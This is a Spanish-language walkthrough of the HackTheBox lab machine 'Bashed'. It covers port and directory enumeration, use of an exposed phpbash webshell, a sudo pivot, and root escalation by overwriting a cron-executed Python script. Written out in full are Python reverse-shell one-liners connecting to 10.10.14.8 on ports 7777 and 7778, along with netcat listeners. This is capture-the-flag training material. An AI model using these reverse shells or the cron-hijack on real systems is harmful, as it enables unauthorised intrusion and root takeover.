Bashed – HackTheBox
Dificultad: Easy
Sistema operativo: Linux
⚠️ Contenido educativo.
💡 Pistas
- Mira bien de que va la pagina
- Listar permisos
- Mira las carpetas que hay en el directorio raiz
🔍 Enumeración inicial
1. Escaneo completo (todos los puertos TCP)
Objetivo: saber si existe algo más aparte de HTTP antes de profundizar.
-p- fuerza el rango 1‑65535 y -T4 acelera (equilibrio entre velocidad y fiabilidad).
sudo nmap -p- -T4 <IP>
Resultado: únicamente 80/tcp abierto (no hay SSH u otros servicios expuestos en TCP).
2. Escaneo focalizado (scripts y versiones)
Con solo el 80 abierto, refinamos para obtener banner, versión y resultados básicos de scripts NSE (detección de tipo de servidor, métodos HTTP, etc.).
-sC carga los “default scripts” y -sV intenta enumerar versión.
sudo nmap -p 80 -sC -sV <IP>
Resultado: servicio HTTP (Apache) en el puerto 80 con la información mostrada.
3. Revisión inicial de la web
El segundo escaneo no revela nada nuevo, pasamos a inspección manual. Página de un desarrollador con entradas de proyectos.
Una entrada enlaza a una webshell (phpbash), posible vector directo.
4. Fuzzing de directorios
Enumeración de rutas para localizar contenido adicional.
gobuster dir -u http://<IP> -w /ruta/wordlist.txt -t 50
Destacan /php /uploads /dev (además de estáticos).
5. Acceso a /dev y localización de la webshell
Listado de directorio expone phpbash.php y versión minificada.
6. Verificación rápida de la webshell
Ejecutamos un único comando (whoami) para confirmar ejecución: www-data. Listo.
7. Preparar listener (reverse shell)
Abrimos el puerto en nuestra máquina a la espera de conexión inversa.
nc -lvnp 7777
8. Obtener reverse shell
Desde la webshell lanzamos la conexión inversa (ajustar IP/puerto).
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.8",7777)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]);'
Se establece la conexión y obtenemos /bin/sh interactivo como www-data:
9. Mejorar la shell (TTY)
Conseguimos una shell mas manejable.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Opcional desde nuestra consola (fuera) ajustar:
export TERM=xterm
stty rows 40 columns 140
10. Obtener la flag de usuario
Navegamos a /home, identificamos el usuario arrexel y leemos user.txt.
cd /home/arrexel
ls
cat user.txt
Flag obtenida.
(Continuará con las siguientes fases)
11. Enumeración de privilegios (sudo)
Comprobamos qué puede hacer www-data con sudo:
sudo -l
La salida (ver captura) indica: (scriptmanager : scriptmanager) NOPASSWD: ALL
Significado:
- Puede ejecutar CUALQUIER comando como el usuario scriptmanager (y su grupo) sin pedir contraseña.
- No permite ir directamente a root, pero sí pivotar a scriptmanager, ampliando el alcance (su $HOME, ficheros y posibles scripts/cron que gestione). A partir de ahí buscaremos un segundo vector.
12. Cambio a usuario scriptmanager
Obtenemos una shell de scriptmanager:
sudo -u scriptmanager -i
Desglose:
- -u scriptmanager: cambia el usuario destino al que se impersona.
- -i: inicia una shell de login (carga variables de entorno, profile, HOME de scriptmanager y su shell por defecto en /etc/passwd).
Resultado: prompt dentro de /home/scriptmanager (o ~), whoami devuelve scriptmanager y ahora todos los comandos se ejecutan con sus permisos.
13. Directorio /scripts y ejecución periódica
En la raíz existe /scripts propiedad de scriptmanager (único directorio fuera de /home que controla este usuario). Esto resalta como vector.
Dentro hay:
- test.py (editable por scriptmanager)
- test.txt (propiedad de root)
Viendo el codigo vemos que el script de python genera el archivo test.txt, y al ver que el propietario del archivo de texto es root intuimos que se ejecuta como root cada minuto.
14. Explotar la ejecución periódica: reverse shell como root
Sobrescribimos test.py con una reverse shell Python que, al ser ejecutada por root (cron), conectará con nuestro listener.
Comando usado (crea/reemplaza test.py en una sola línea):
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.8',7778));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')" > /scripts/test.py
Contenido lógico del script (formateado):
import socket, subprocess, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.8", 7778))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
Preparamos el listener en nuestra máquina:
nc -lvnp 7778
Al producirse la siguiente ejecución automática (≈1 min) recibimos la shell como root:
15. Leer la flag de root
Con la shell como root leemos la flag final:
cd /root
ls
cat root.txt
16. Máquina completada
Objetivo alcanzado: user + root. Máquina marcada como Pwned en la plataforma.
Buen repaso a: enumeración básica, abuso de webshell, pivot con sudo a usuario intermedio y escalada vía script cron editable.